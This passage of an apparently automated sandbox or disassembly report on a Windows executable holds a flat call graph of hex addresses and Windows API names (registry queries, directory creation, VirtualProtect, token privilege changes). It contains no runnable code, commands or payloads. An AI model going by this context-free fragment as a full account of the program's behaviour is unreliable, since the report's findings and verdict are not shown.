5305->5284 5306->5305 5307 40381d VariantClear 5306->5307 5307->5284 5319 403740 SysStringLen 5308->5319 5311 4037f0 VariantClear 5312 403926 5311->5312 5312->5275 5314 40376f 5313->5314 5315 4037aa MultiByteToWideChar SysAllocStringLen MultiByteToWideChar 5314->5315 5316 40377f 5314->5316 5317 4037d2 5315->5317 5318 403791 MultiByteToWideChar SysAllocStringLen 5316->5318 5317->5296 5318->5317 5320 4036b4 7 API calls 5319->5320 5321 403757 5320->5321 5321->5311 5323 405908 5322->5323 5324 404c98 5 API calls 5323->5324 5325 40592e 5324->5325 5326 4031e8 4 API calls 5325->5326 5327 405939 5326->5327 5328 403198 4 API calls 5327->5328 5329 40594e 5328->5329 5329->5207 5331 403198 4 API calls 5330->5331 5339 4088c9 5330->5339 5331->5339 5332 4031b8 4 API calls 5333 408978 5332->5333 5333->5175 5334 4088e0 5336 4032fc 4 API calls 5334->5336 5335 403278 4 API calls 5335->5339 5338 4088f4 5336->5338 5337 4032fc LocalAlloc TlsSetValue TlsGetValue TlsGetValue 5337->5339 5338->5332 5339->5334 5339->5335 5339->5337 5339->5338 5341 4035a1 5340->5341 5348 4035d1 5340->5348 5342 4035ca 5341->5342 5344 4035ad 5341->5344 5345 403254 4 API calls 5342->5345 5343 403198 4 API calls 5346 4035bb 5343->5346 5349 4025c4 5344->5349 5345->5348 5346->5114 5348->5343 5351 4025ca 5349->5351 5350 4025dc 5350->5346 5350->5350 5351->5350 5353 403154 5351->5353 5354 403164 5353->5354 5355 40318c TlsGetValue 5353->5355 5354->5350 5356 403196 5355->5356 5357 40316f 5355->5357 5356->5350 5361 40310c 5357->5361 5359 403174 TlsGetValue 5360 403184 5359->5360 5360->5350 5362 403120 LocalAlloc 5361->5362 5363 403116 5361->5363 5364 40313e TlsSetValue 5362->5364 5365 403132 5362->5365 5363->5362 5364->5365 5365->5359 5367 4033bc 5366->5367 5368 403254 4 API calls 5367->5368 5369 4033cf 5368->5369 5370 4031e8 4 API calls 5369->5370 5371 4033f7 5370->5371 5373 402bd5 RaiseException 5372->5373 5374 402be6 5372->5374 5373->5374 5374->5146 5376 40360a 5375->5376 5378 40361c 5376->5378 5379 4036a8 5376->5379 5378->5159 5380 403620 5379->5380 5381 403644 5380->5381 5382 40365a 5380->5382 5386 40363f 5380->5386 5389 403674 5380->5389 5383 403655 5381->5383 5384 40365c 5381->5384 5382->5376 5387 403198 4 API calls 5383->5387 5385 4031b8 4 API calls 5384->5385 5385->5382 5386->5381 5391 403690 5386->5391 5387->5382 5388 403620 4 API calls 5388->5389 5389->5382 5389->5388 5390 4035f8 4 API calls 5390->5391 5391->5382 5391->5390 6392 403af6 6393 403b18 6392->6393 6394 403afe WriteFile 6392->6394 6394->6393 6395 403b1c GetLastError 6394->6395 6395->6393 5463 4098f8 5501 409540 5463->5501 5465 4098fd 5466 409902 5465->5466 5467 402f24 5 API calls 5465->5467 5508 4092b8 5466->5508 5467->5466 5469 409994 5527 4026c4 GetSystemTime 5469->5527 5470 409907 5474 409941 5470->5474 5596 4089c8 5470->5596 5473 409999 5528 408e3c 5473->5528 5474->5469 5478 4089c8 4 API calls 5474->5478 5475 40992c 5479 409934 MessageBoxA 5475->5479 5481 409970 5478->5481 5599 405820 5479->5599 5480 4031e8 4 API calls 5483 4099ae 5480->5483 5485 409978 MessageBoxA 5481->5485 5546 408d30 5483->5546 5485->5469 5487 409985 5485->5487 5488 405820 5 API calls 5487->5488 5488->5469 5489 4031e8 4 API calls 5490 4099d1 5489->5490 5565 407354 5490->5565 5496 409a2b 5578 4076b4 5496->5578 5498 409a6a 5603 407944 5498->5603 5500 409a8f 5502 409561 5501->5502 5503 409549 5501->5503 5505 40584c 4 API calls 5502->5505 5504 40584c 4 API calls 5503->5504 5506 40955b 5504->5506 5507 409572 5505->5507 5506->5465 5507->5465 5509 4092ff 5508->5509 5515 4092c9 5508->5515 5510 409308 5509->5510 5511 40930c 5509->5511 5512 409313 GetUserDefaultLangID 5510->5512 5516 40930a 5510->5516 5617 406de4 GetModuleHandleA 6CAA5550 5511->5617 5512->5516 5515->5509 5518 4092ef 5515->5518 5517 409388 5516->5517 5520 40934e 5516->5520 5523 409341 5516->5523 5519 40926c 5 API calls 5517->5519 5611 40926c 5518->5611 5522 4092f6 5519->5522 5520->5517 5525 40937b 5520->5525 5522->5470 5524 40926c 5 API calls 5523->5524 5524->5522 5526 40926c 5 API calls 5525->5526 5526->5522 5527->5473 5535 408e5c 5528->5535 5530 408d30 12 API calls 5530->5535 5531 408e81 CreateDirectoryA 5532 408ef9 5531->5532 5533 408e8b GetLastError 5531->5533 5534 40322c 4 API calls 5532->5534 5533->5535 5536 408f03 5534->5536 5535->5530 5535->5531 5537 4089c8 4 API calls 5535->5537 5539 404c50 19 API calls 5535->5539 5541 407044 5 API calls 5535->5541 5544 408998 4 API calls 5535->5544 5545 40584c 4 API calls 5535->5545 5692 406b50 5535->5692 5538 4031b8 4 API calls 5536->5538 5537->5535 5540 408f1d 5538->5540 5539->5535 5542 4031b8 4 API calls 5540->5542 5541->5535 5543 408f2a 5542->5543 5543->5480 5544->5535 5545->5535 5547 408d50 5546->5547 5548 406600 5 API calls 5547->5548 5549 408d69 5548->5549 5550 40322c 4 API calls 5549->5550 5551 408d74 5550->5551 5553 4067c8 6 API calls 5551->5553 5554 4033b4 4 API calls 5551->5554 5555 4089c8 4 API calls 5551->5555 5556 40584c 4 API calls 5551->5556 5558 408df0 5551->5558 5805 408cbc 5551->5805 5813 408ba8 5551->5813 5553->5551 5554->5551 5555->5551 5556->5551 5559 40322c 4 API calls 5558->5559 5560 408dfb 5559->5560 5561 4031b8 4 API calls 5560->5561 5562 408e15 5561->5562 5563 403198 4 API calls 5562->5563 5564 408e1d 5563->5564 5564->5489 5841 40736c SetFilePointer 5565->5841 5568 407110 5569 40711a 5568->5569 5570 407168 6CAA5CA0 5569->5570 5571 407178 5570->5571 5572 407182 5571->5572 5573 4072d8 21 API calls 5571->5573 5574 402594 5572->5574 5573->5572 5575 402598 5574->5575 5577 4025a2 5574->5577 5576 403154 4 API calls 5575->5576 5575->5577 5576->5577 5577->5496 5579 4076c1 5578->5579 5858 4072ec ReadFile 5579->5858 5582 4076fe 5584 40584c 4 API calls 5582->5584 5585 407714 5582->5585 5583 4072ec 23 API calls 5583->5582 5584->5585 5586 407618 InterlockedExchange 5585->5586 5587 407726 5586->5587 5588 40584c 4 API calls 5587->5588 5590 40773c 5587->5590 5588->5590 5864 4071d0 SetFilePointer 5590->5864 5591 40774b 5869 407208 GetFileSize 5591->5869 5593 407780 5593->5498 5594 407760 5594->5593 5595 40584c 4 API calls 5594->5595 5595->5593 5597 408998 4 API calls 5596->5597 5598 4089e4 5597->5598 5598->5475 5600 405825 5599->5600 5601 4058fc 5 API calls 5600->5601 5602 405837 5601->5602 5602->5602 5604 407954 5603->5604 5605 40795f 5603->5605 5874 407d28 5604->5874 5889 4078e8 5605->5889 5608 40584c 4 API calls 5609 40795d 5608->5609 5609->5500 5612 4092ac 5611->5612 5613 409274 5611->5613 5612->5522 5613->5612 5638 4034c4 5613->5638 5615 4092a6 5642 408a70 5615->5642 5618 406e27 5617->5618 5619 406e1e 5617->5619 5620 406e30 5618->5620 5621 406e68 5618->5621 5629 403198 4 API calls 5619->5629 5665 406dac 5620->5665 5623 406dac 6CAA6790 5621->5623 5625 406e81 5623->5625 5624 406e49 5626 406e9e 5624->5626 5668 406da0 5624->5668 5625->5626 5630 406da0 6 API calls 5625->5630 5671 40322c 5626->5671 5633 406ee0 5629->5633 5634 406e95 RegCloseKey 5630->5634 5636 403198 4 API calls 5633->5636 5634->5626 5635 4032fc 4 API calls 5635->5619 5637 406ee8 5636->5637 5637->5516 5639 4034ca 5638->5639 5641 4034db 5638->5641 5640 403254 4 API calls 5639->5640 5639->5641 5640->5641 5641->5615 5644 408a7e 5642->5644 5645 408a96 5644->5645 5655 408a08 5644->5655 5646 408a08 4 API calls 5645->5646 5647 408aba 5645->5647 5646->5647 5658 407618 5647->5658 5650 408a08 4 API calls 5652 408ae6 5650->5652 5651 408a08 4 API calls 5651->5652 5652->5651 5653 403278 4 API calls 5652->5653 5654 408b15 5652->5654 5653->5652 5654->5612 5656 40584c 4 API calls 5655->5656 5657 408a19 5656->5657 5657->5645 5661 4075c4 5658->5661 5662 4075d6 5661->5662 5663 4075e7 5661->5663 5664 4075db InterlockedExchange 5662->5664 5663->5650 5663->5652 5664->5663 5666 406db7 5665->5666 5667 406dbd 6CAA6790 5665->5667 5666->5667 5667->5624 5675 406c6c 5668->5675 5673 403230 5671->5673 5672 403252 5672->5635 5673->5672 5674 4025ac 4 API calls 5673->5674 5674->5672 5676 406c91 RegQueryValueExA 5675->5676 5677 406cd3 5676->5677 5683 406cb1 5676->5683 5678 403198 4 API calls 5677->5678 5680 406d8c RegCloseKey 5678->5680 5679 406ccb 5681 403198 4 API calls 5679->5681 5680->5626 5681->5677 5682 403278 4 API calls 5682->5683 5683->5677 5683->5679 5683->5682 5684 4034c4 4 API calls 5683->5684 5685 406cf3 RegQueryValueExA 5684->5685 5685->5676 5686 406d08 5685->5686 5686->5677 5687 403594 4 API calls 5686->5687 5688 406d4e 5687->5688 5689 406d62 5688->5689 5691 4034c4 4 API calls 5688->5691 5690 4031e8 4 API calls 5689->5690 5690->5677 5691->5689 5715 4068a8 5692->5715 5695 406b82 5697 4068a8 5 API calls 5695->5697 5699 406bce 5695->5699 5698 406b92 5697->5698 5701 406884 7 API calls 5698->5701 5704 406b9e 5698->5704 5723 40674c 5699->5723 5701->5704 5704->5699 5705 4068a8 5 API calls 5704->5705 5711 406bc3 5704->5711 5707 406bb7 5705->5707 5709 406884 7 API calls 5707->5709 5707->5711 5708 406be3 5710 40322c 4 API calls 5708->5710 5709->5711 5712 406bed 5710->5712 5711->5699 5745 406b24 GetWindowsDirectoryA 5711->5745 5713 4031b8 4 API calls 5712->5713 5714 406c07 5713->5714 5714->5535 5716 403594 4 API calls 5715->5716 5718 4068bb 5716->5718 5717 4068d2 GetEnvironmentVariableA 5717->5718 5719 4068de 5717->5719 5718->5717 5722 4068e5 5718->5722 5747 406c48 5718->5747 5720 403198 4 API calls 5719->5720 5720->5722 5722->5695 5742 406884 5722->5742 5751 4034b8 5723->5751 5726 406792 5729 40322c 4 API calls 5726->5729 5727 40677b 5727->5726 5728 406783 5727->5728 5730 403278 4 API calls 5728->5730 5731 406790 5729->5731 5730->5731 5732 406600 5731->5732 5733 40660a 5732->5733 5734 40662c 5732->5734 5753 4067a8 5733->5753 5735 40322c 4 API calls 5734->5735 5737 406635 5735->5737 5737->5708 5738 406611 5738->5734 5739 40661b 5738->5739 5757 403340 5739->5757 5741 406629 5741->5708 5772 40682c 5742->5772 5746 406b45 5745->5746 5746->5699 5748 406c56 5747->5748 5749 403594 4 API calls 5748->5749 5750 406c64 5749->5750 5750->5718 5752 4034bc GetFullPathNameA 5751->5752 5752->5726 5752->5727 5754 4067b3 5753->5754 5755 4067af 5753->5755 5756 4067ba CharPrevA 5754->5756 5755->5738 5756->5738 5758 403344 5757->5758 5759 4033a5 5757->5759 5760 4031e8 5758->5760 5761 40334c 5758->5761 5765 403254 4 API calls 5760->5765 5767 4031fc 5760->5767 5761->5759 5763 40335b 5761->5763 5764 4031e8 4 API calls 5761->5764 5762 403228 5762->5741 5766 403254 4 API calls 5763->5766 5764->5763 5765->5767 5769 403375 5766->5769 5767->5762 5768 4025ac 4 API calls 5767->5768 5768->5762 5770 4031e8 4 API calls 5769->5770 5771 4033a1 5770->5771 5771->5741 5779 4067c8 5772->5779 5774 40684e 5775 406856 6CF178A0 5774->5775 5776 40686b 5775->5776 5777 403198 4 API calls 5776->5777 5778 406873 5777->5778 5778->5695 5789 406674 5779->5789 5781 4067d9 5782 4067eb CharPrevA 5781->5782 5783 4067ff 5781->5783 5782->5781 5784 406815 5783->5784 5785 40680a 5783->5785 5796 4034f8 5784->5796 5786 40322c 4 API calls 5785->5786 5788 406813 5786->5788 5788->5774 5791 406685 5789->5791 5790 4066e5 5792 406644 IsDBCSLeadByte 5790->5792 5795 4066e0 5790->5795 5791->5790 5793 4066a1 5791->5793 5792->5795 5793->5795 5803 406644 IsDBCSLeadByte 5793->5803 5795->5781 5797 40352a 5796->5797 5799 4034fd 5796->5799 5798 403198 4 API calls 5797->5798 5800 403520 5798->5800 5799->5797 5801 403511 5799->5801 5800->5788 5802 403278 4 API calls 5801->5802 5802->5800 5804 406658 5803->5804 5804->5793 5806 403198 4 API calls 5805->5806 5808 408cdd 5806->5808 5810 408d0a 5808->5810 5822 4032a8 5808->5822 5825 403538 5808->5825 5811 403198 4 API calls 5810->5811 5812 408d1f 5811->5812 5812->5551 5829 408b5c 5813->5829 5815 408bbe 5816 408bc2 5815->5816 5835 406898 5815->5835 5816->5551 5819 408bf5 5838 408b98 5819->5838 5823 403278 4 API calls 5822->5823 5824 4032b5 5823->5824 5824->5808 5826 40353c 5825->5826 5828 403567 5825->5828 5827 403594 4 API calls 5826->5827 5827->5828 5828->5808 5830 408b66 5829->5830 5831 408b6a 5829->5831 5830->5815 5832 408b73 Wow64DisableWow64FsRedirection 5831->5832 5833 408b8c SetLastError 5831->5833 5834 408b87 5832->5834 5833->5834 5834->5815 5836 40682c 7 API calls 5835->5836 5837 4068a2 GetLastError 5836->5837 5837->5819 5839 408ba7 5838->5839 5840 408b9d Wow64RevertWow64FsRedirection 5838->5840 5839->5551 5840->5839 5842 407367 5841->5842 5843 407393 GetLastError 5841->5843 5842->5568 5843->5842 5844 40739c 5843->5844 5846 4072d8 GetLastError 5844->5846 5849 407238 5846->5849 5850 407044 5 API calls 5849->5850 5851 407260 5850->5851 5852 407280 5851->5852 5854 405150 19 API calls 5851->5854 5853 40584c 4 API calls 5852->5853 5855 40728f 5853->5855 5854->5852 5856 403198 4 API calls 5855->5856 5857 4072ac 5856->5857 5857->5842 5859 407323 5858->5859 5860 40730c 5858->5860 5859->5582 5859->5583 5861 407312 GetLastError 5860->5861 5862 40731c 5860->5862 5861->5859 5861->5862 5863 4072d8 21 API calls 5862->5863 5863->5859 5865 407203 5864->5865 5866 4071f3 GetLastError 5864->5866 5865->5591 5866->5865 5867 4071fc 5866->5867 5868 4072d8 21 API calls 5867->5868 5868->5865 5870 407232 5869->5870 5871 407222 GetLastError 5869->5871 5870->5594 5871->5870 5872 40722b 5871->5872 5873 4072d8 21 API calls 5872->5873 5873->5870 5875 407d50 5874->5875 5877 407d57 5874->5877 5893 407b68 5875->5893 5878 407d7e 5877->5878 5879 407d72 5877->5879 5880 407d74 5877->5880 5881 407db3 5878->5881 5882 407a7c 19 API calls 5878->5882 5885 405150 19 API calls 5879->5885 5915 407a7c 5880->5915 5884 403198 4 API calls 5881->5884 5882->5881 5886 407dc8 5884->5886 5887 407d9a 5885->5887 5886->5609 5918 407a04 5887->5918 5890 40793b 5889->5890 5892 4078fc 5889->5892 5890->5608 5890->5609 5892->5890 5938 407838 5892->5938 5894 407b94 5893->5894 5895 407ba1 5894->5895 5896 407a7c 19 API calls 5894->5896 5897 407bbe 5895->5897 5898 407a7c 19 API calls 5895->5898 5896->5895 5899 407bd7 5897->5899 5900 407a7c 19 API calls 5897->5900 5898->5897 5901 407a7c 19 API calls 5899->5901 5902 407be7 5899->5902 5900->5899 5901->5902 5905 407c64 5902->5905 5927 407b0c 5902->5927 5906 407cb6 5905->5906 5907 407caa 5905->5907 5908 407cac 5905->5908 5910 403198 4 API calls 5906->5910 5912 405150 19 API calls 5907->5912 5909 407a7c 19 API calls 5908->5909 5909->5906 5911 407cf5 5910->5911 5911->5877 5913 407cd2 5912->5913 5914 407a04 4 API calls 5913->5914 5914->5906 5930 405880 5915->5930 5917 407a9e 5917->5878 5919 40322c 4 API calls 5918->5919 5920 407a29 5919->5920 5921 4032fc 4 API calls 5920->5921 5922 407a33 5921->5922 5923 40584c 4 API calls 5922->5923 5924 407a42 5923->5924 5925 403198 4 API calls 5924->5925 5926 407a5c 5925->5926 5926->5878 5928 407b20 VirtualFree 5927->5928 5929 407b32 VirtualAlloc 5927->5929 5928->5929 5929->5905 5931 40588c 5930->5931 5932 405150 19 API calls 5931->5932 5933 4058b9 5932->5933 5934 4031e8 4 API calls 5933->5934 5935 4058c4 5934->5935 5936 403198 4 API calls 5935->5936 5937 4058d9 5936->5937 5937->5917 5939 407843 5938->5939 5940 407854 5938->5940 5941 40584c 4 API calls 5939->5941 5950 40732c 5940->5950 5941->5940 5944 40732c 23 API calls 5945 407889 5944->5945 5946 407618 InterlockedExchange 5945->5946 5947 40789e 5946->5947 5948 4078b4 5947->5948 5949 40584c 4 API calls 5947->5949 5948->5892 5949->5948 5951 4072ec 23 API calls 5950->5951 5953 407340 5951->5953 5952 407350 5952->5944 5953->5952 5954 407238 20 API calls 5953->5954 5954->5952 6708 402dfa 6709 402e26 6708->6709 6710 402e0d 6708->6710 6712 402ba4 6710->6712 6713 402bc9 6712->6713 6714 402bad 6712->6714 6713->6709 6715 402bb5 RaiseException 6714->6715 6715->6713 6716 4093fb 6717 402f24 5 API calls 6716->6717 6718 409400 6717->6718 6238 408c03 6239 408bf5 6238->6239 6240 408b98 Wow64RevertWow64FsRedirection 6239->6240 6241 408bfd 6240->6241 6242 408c05 SetLastError 6243 408c0e 6242->6243 6244 402c08 6245 402c82 6244->6245 6248 402c19 6244->6248 6246 402c56 RtlUnwind 6247 403154 4 API calls 6246->6247 6247->6245 6248->6245 6248->6246 6251 402b28 6248->6251 6252 402b31 RaiseException 6251->6252 6253 402b47 6251->6253 6252->6253 6253->6246 5955 409d0a 5957 409c7c 5955->5957 5956 409ca8 5959 409cc1 5956->5959 5963 409cbb RemoveDirectoryA 5956->5963 5957->5956 5958 40900c 5 API calls 5957->5958 5958->5956 5960 409cd5 5959->5960 5961 409cca 72E69840 5959->5961 5962 409cfd 5960->5962 5964 403620 4 API calls 5960->5964 5961->5960 5963->5959 5965 409cf3 5964->5965 5966 4025ac 4 API calls 5965->5966 5966->5962 5967 40968c 6020 4030dc 5967->6020 5969 4096a2 6023 40438c 5969->6023 5971 4096a7 6026 406584 5971->6026 5975 4096b1 6036 408c18 GetModuleHandleA 6CAA5550 GetModuleHandleA 6CAA5550 5975->6036 5984 4031e8 4 API calls 5985 409702 5984->5985 5986 407110 22 API calls 5985->5986 5987 40971a 5986->5987 5988 407208 23 API calls 5987->5988 5989 40973a 5988->5989 5990 407354 23 API calls 5989->5990 5991 40974c 5990->5991 5992 40732c 23 API calls 5991->5992 5993 40975d 5992->5993 5994 409540 4 API calls 5993->5994 5995 40977e 5993->5995 5994->5995 5996 407354 23 API calls 5995->5996 5997 40978b 5996->5997 5998 40732c 23 API calls 5997->5998 5999 40979f 5998->5999 6000 403278 4 API calls 5999->6000 6001 4097b1 6000->6001 6002 4097cf 6001->6002 6003 407618 InterlockedExchange 6001->6003 6004 409540 4 API calls 6002->6004 6005 4097e4 6002->6005 6003->6002 6004->6005 6006 407354 23 API calls 6005->6006 6007 4097f4 6006->6007 6008 40732c 23 API calls 6007->6008 6010 409808 6008->6010 6009 409823 6012 4076b4 28 API calls 6009->6012 6010->6009 6011 409540 4 API calls 6010->6011 6011->6009 6013 409848 6012->6013 6063 408778 6013->6063 6017 409888 6018 408778 26 API calls 6017->6018 6019 4098be 6017->6019 6018->6017 6077 403094 6020->6077 6022 4030e1 GetModuleHandleA GetCommandLineA 6022->5969 6024 403154 4 API calls 6023->6024 6025 4043c7 6023->6025 6024->6025 6025->5971 6078 405c64 6026->6078 6035 4065d0 6F5FDB20 6035->5975 6037 408c55 6036->6037 6038 4095d0 GetSystemInfo VirtualQuery 6037->6038 6039 409684 6038->6039 6042 4095fa 6038->6042 6044 409194 6039->6044 6040 409665 VirtualQuery 6040->6039 6040->6042 6041 409624 VirtualProtect 6041->6042 6042->6039 6042->6040 6042->6041 6043 409653 VirtualProtect 6042->6043 6043->6040 6158 406a1c 6044->6158 6046 409222 6047 4031b8 4 API calls 6046->6047 6049 40923c 6047->6049 6048 406a88 6 API calls 6051 4091b1 6048->6051 6052 406a88 6049->6052 6050 4034f8 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 6050->6051 6051->6046 6051->6048 6051->6050 6053 406ad3 6052->6053 6054 406aaf GetModuleFileNameA 6052->6054 6056 4068f8 GetCommandLineA 6053->6056 6055 403278 4 API calls 6054->6055 6057 406ad1 6055->6057 6060 406adb 6056->6060 6058 406afd 6057->6058 6059 403198 4 API calls 6058->6059 6061 406b12 6059->6061 6060->6058 6062 406980 4 API calls 6060->6062 6061->5984 6062->6060 6064 4087ec 6063->6064 6069 4087a6 6063->6069 6065 407944 26 API calls 6064->6065 6066 408800 6065->6066 6068 403198 4 API calls 6066->6068 6067 403278 4 API calls 6067->6069 6070 408815 6068->6070 6069->6064 6069->6067 6071 4031e8 4 API calls 6069->6071 6072 4034c4 4 API calls 6069->6072 6073 407944 26 API calls 6069->6073 6074 404bdc 6070->6074 6071->6069 6072->6069 6073->6069 6075 402594 4 API calls 6074->6075 6076 404be7 6075->6076 6076->6017 6077->6022 6079 4058fc 5 API calls 6078->6079 6080 405c75 6079->6080 6081 40523c GetSystemDefaultLCID 6080->6081 6085 405272 6081->6085 6082 404c98 LocalAlloc TlsSetValue TlsGetValue TlsGetValue LoadStringA 6082->6085 6083 4051c8 LocalAlloc TlsSetValue TlsGetValue TlsGetValue GetLocaleInfoA 6083->6085 6084 4031e8 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 6084->6085 6085->6082 6085->6083 6085->6084 6089 4052d4 6085->6089 6086 4051c8 LocalAlloc TlsSetValue TlsGetValue TlsGetValue GetLocaleInfoA 6086->6089 6087 4031e8 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 6087->6089 6088 404c98 LocalAlloc TlsSetValue TlsGetValue TlsGetValue LoadStringA 6088->6089 6089->6086 6089->6087 6089->6088 6090 405357 6089->6090 6091 4031b8 4 API calls 6090->6091 6092 405371 6091->6092 6093 405380 GetSystemDefaultLCID 6092->6093 6150 4051c8 GetLocaleInfoA 6093->6150 6096 4031e8 4 API calls 6097 4053c0 6096->6097 6098 4051c8 5 API calls 6097->6098 6099 4053d5 6098->6099 6100 4051c8 5 API calls 6099->6100 6101 4053f9 6100->6101 6156 405214 GetLocaleInfoA 6101->6156 6104 405214 GetLocaleInfoA 6105 405429 6104->6105 6106 4051c8 5 API calls 6105->6106 6107 405443 6106->6107 6108 405214 GetLocaleInfoA 6107->6108 6109 405460 6108->6109 6110 4051c8 5 API calls 6109->6110 6111 40547a 6110->6111 6112 4031e8 4 API calls 6111->6112 6113 405487 6112->6113 6114 4051c8 5 API calls 6113->6114 6115 40549c 6114->6115 6116 4031e8 4 API calls 6115->6116 6117 4054a9 6116->6117 6118 405214 GetLocaleInfoA 6117->6118 6119 4054b7 6118->6119 6120 4051c8 5 API calls 6119->6120 6121 4054d1 6120->6121 6122 4031e8 4 API calls 6121->6122 6123 4054de 6122->6123 6124 4051c8 5 API calls 6123->6124 6125 4054f3 6124->6125 6126 4031e8 4 API calls 6125->6126 6127 405500 6126->6127 6128 4051c8 5 API calls 6127->6128 6129 405515 6128->6129 6130 405532 6129->6130 6131 405523 6129->6131 6133 40322c 4 API calls 6130->6133 6132 40322c 4 API calls 6131->6132 6134 405530 6132->6134 6133->6134 6135 4051c8 5 API calls 6134->6135 6136 405554 6135->6136 6137 405571 6136->6137 6138 405562 6136->6138 6140 403198 4 API calls 6137->6140 6139 40322c 4 API calls 6138->6139 6141 40556f 6139->6141 6140->6141 6142 4033b4 4 API calls 6141->6142 6143 405593 6142->6143 6144 4033b4 4 API calls 6143->6144 6145 4055ad 6144->6145 6146 4031b8 4 API calls 6145->6146 6147 4055c7 6146->6147 6148 405cb0 GetVersionExA 6147->6148 6149 405cc7 6148->6149 6149->6035 6151 405201 6150->6151 6152 4051ef 6150->6152 6154 40322c 4 API calls 6151->6154 6153 403278 4 API calls 6152->6153 6155 4051ff 6153->6155 6154->6155 6155->6096 6157 405230 6156->6157 6157->6104 6159 4068f8 GetCommandLineA 6158->6159 6160 406a3c 6159->6160 6162 406a5d 6160->6162 6165 406980 6160->6165 6163 4031b8 4 API calls 6162->6163 6164 406a77 6163->6164 6164->6051 6166 4069a2 6165->6166 6167 403278 4 API calls 6166->6167 6168 4069d6 6167->6168 6169 4034c4 4 API calls 6168->6169 6170 4069de 6169->6170 6171 4031e8 4 API calls 6170->6171 6172 4069f6 6171->6172 6173 403198 4 API calls 6172->6173 6174 406a0b 6173->6174 6174->6160 6528 409d0f 6529 409d18 6528->6529 6531 409d1d 6528->6531 6536 408f74 6529->6536 6532 403198 4 API calls 6531->6532 6533 409d68 6532->6533 6534 403198 4 API calls 6533->6534 6535 409d70 6534->6535 6537 408f80 GetCurrentProcess OpenProcessToken 6536->6537 6538 408fe1 6CF14E70 6536->6538 6539 408f92 6537->6539 6540 408f99 LookupPrivilegeValueA AdjustTokenPrivileges GetLastError 6537->6540 6541 408fee 6538->6541 6546 408f97 6538->6546 6547 408f54 6539->6547 6540->6538 6543 408fda 6540->6543 6544 408f54 MessageBoxA 6541->6544 6545 408f54 MessageBoxA 6543->6545 6544->6546 6545->6546 6546->6531 6548 408f60 6547->6548 6549 408f6b MessageBoxA 6548->6549 6549->6546 6400 405a90 6401 405aa0 6400->6401 6402 405a98 6400->6402 6403 405aa7 6402->6403 6404 405a9e 6402->6404 6405 4058fc 5 API calls 6403->6405 6407 405a08 6404->6407 6405->6401 6408 405a10 6407->6408 6409 405a2a 6408->6409 6410 403154 4 API calls 6408->6410 6411 405a46 6409->6411 6412 405a2f 6409->6412 6410->6408 6414 403154 4 API calls 6411->6414 6413 4058fc 5 API calls 6412->6413 6415 405a42 6413->6415 6416 405a4b 6414->6416 6418 403154 4 API calls 6415->6418 6417 40596c 19 API calls 6416->6417 6417->6415 6419 405a74 6418->6419 6420 403154 4 API calls 6419->6420 6421 405a82 6420->6421 6421->6401 6735 409394 6736 4093aa 6735->6736 6737 4093bd 6735->6737 6738 4093b2 CallWindowProcA 6736->6738 6739 4093b4 6736->6739 6738->6737 6739->6737 6741 40926c 5 API calls 6739->6741 6741->6737 6262 403018 6263 403070 6262->6263 6264 403025 6262->6264 6265 40302a RtlUnwind 6264->6265 6268 40304e 6265->6268 6267 402f78 6268->6267 6269 402be8 6268->6269 6270 402bf1 RaiseException 6269->6270 6271 402c04 6269->6271 6270->6271 6271->6263 6554 40511c 6555 40512f 6554->6555 6556 404e14 19 API calls 6555->6556 6557 405143 6556->6557 6564 408b1c 6567 4089ec 6564->6567 6569 4089f5 6567->6569 6568 403198 4 API calls 6568->6569 6569->6568 6570 408a03 6569->6570 5055 4071a0 5056 4071ac CloseHandle 5055->5056 5057 4071b5 5055->5057 5056->5057 6276 404021 6277 404046 6276->6277 6280 404028 6276->6280 6279 403f32 4 API calls 6277->6279 6277->6280 6278 404030 6279->6280 6280->6278 6281 402674 4 API calls 6280->6281 6282 40406e 6281->6282 6575 403b24 CloseHandle 6576 403b34 6575->6576 6577 403b35 GetLastError 6575->6577 5392 403da6 5397 403db6 5392->5397 5393 403e83 ExitProcess 5394 403e5c 5408 403d6c 5394->5408 5395 403e8e 5397->5393 5397->5394 5397->5395 5401 403e33 MessageBoxA 5397->5401 5402 403e48 5397->5402 5399 403d6c 4 API calls 5400 403e70 5399->5400 5412 4019dc 5400->5412 5401->5394 5424 404088 5402->5424 5405 403e75 5405->5393 5405->5395 5409 403d7a 5408->5409 5410 403d8f 5409->5410 5428 402674 5409->5428 5410->5399 5413 401abb 5412->5413 5414 4019ed 5412->5414 5413->5405 5415 401a04 RtlEnterCriticalSection 5414->5415 5416 401a0e LocalFree 5414->5416 5415->5416 5417 401a41 5416->5417 5418 401a2f VirtualFree 5417->5418 5419 401a49 5417->5419 5418->5417 5420 401a70 LocalFree 5419->5420 5421 401a87 5419->5421 5420->5420 5420->5421 5422 401aa9 RtlDeleteCriticalSection 5421->5422 5423 401a9f RtlLeaveCriticalSection 5421->5423 5422->5405 5423->5422 5425 40408c 5424->5425 5431 403fab 5425->5431 5427 4040aa 5429 403154 4 API calls 5428->5429 5430 40267a 5429->5430 5430->5410 5442 403fad 5431->5442 5432 403f40 5433 403fe0 5432->5433 5437 403f96 5432->5437 5443 403f4d 5432->5443 5445 403f32 5432->5445 5433->5427 5435 403f73 5435->5427 5436 403154 4 API calls 5436->5442 5438 402674 4 API calls 5437->5438 5438->5435 5441 403fe1 5441->5427 5442->5432 5442->5436 5442->5441 5454 403f40 5442->5454 5443->5435 5444 402674 4 API calls 5443->5444 5444->5435 5446 403ef0 5445->5446 5447 403f06 5446->5447 5448 403f1f 5446->5448 5451 403f0b 5446->5451 5450 403d6c 4 API calls 5447->5450 5449 402674 4 API calls 5448->5449 5452 403f1c 5449->5452 5450->5451 5451->5452 5453 402674 4 API calls 5451->5453 5452->5437 5452->5443 5453->5452 5455 403f7b 5454->5455 5461 403f4d 5454->5461 5457 403f96 5455->5457 5459 403f32 4 API calls 5455->5459 5456 403f73 5456->5442 5458 402674 4 API calls 5457->5458 5458->5456 5460 403f8a 5459->5460 5460->5457 5460->5461 5461->5456 5462 402674 4 API calls 5461->5462 5462->5456 6289 408826 6290 40882f 6289->6290 6291 403198 4 API calls 6290->6291 6298 4088c9 6291->6298 6292 4088f4 6293 4031b8 4 API calls 6292->6293 6295 408978 6293->6295 6294 4088e0 6297 4032fc 4 API calls 6294->6297 6296 403278 4 API calls 6296->6298 6297->6292 6298->6292 6298->6294 6298->6296 6299 4032fc LocalAlloc TlsSetValue TlsGetValue TlsGetValue 6298->6299 6299->6298 6582 404327 6583 404367 6582->6583 6584 403154 4 API calls 6583->6584 6585 4043c7 6584->6585 6300 404229 6301 